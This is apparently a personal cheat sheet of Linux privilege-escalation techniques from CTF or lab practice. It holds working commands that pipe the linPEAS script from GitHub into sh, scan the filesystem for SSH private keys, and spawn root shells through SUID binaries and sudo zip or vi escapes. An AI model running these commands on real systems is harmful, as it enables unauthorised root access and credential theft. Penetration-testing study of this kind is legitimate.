Linux

• sudo -l to see what sudo can do

• search for anything owned by the user or groups they are in

find / -user [username] 2>/dev/null | grep -v 'proc\|sys\|run'

• gtfobins.github.io

• linPEAS

curl -L https://github.com/peass-ng/PEASS-ng/releases/latest/download/linpeas.sh | sh

• get suid binaries:

find / -perm -u=s -type f 2>/dev/null

• Search for SSH keys

grep -rnE '^\-{5}BEGIN [A-Z0-9]+ PRIVATE KEY\-{5}$' /* 2>/dev/null

• launching shell from suid binary, use exec /bin/sh -p to keep effective uid from being reset

  • in the case of one machine, there was a binary .suid_bash, the command ./.suid_bash -p gave a root shell

• weird zip command if for some reason you have sudo zip privs: sudo zip test.zip test.txt -T --unzip-command="sh -c /bin/bash" -T tests the integrity of the zip, then --unzip-command specifies the command to unzip the file, so it uses that in the integrity check

• check sudo environment variables

• from sudo vi - :!sh to launch shell

• check ports for nfs rpcinfo -p

• checking strings in files

  • strings [file]

    • try -e l also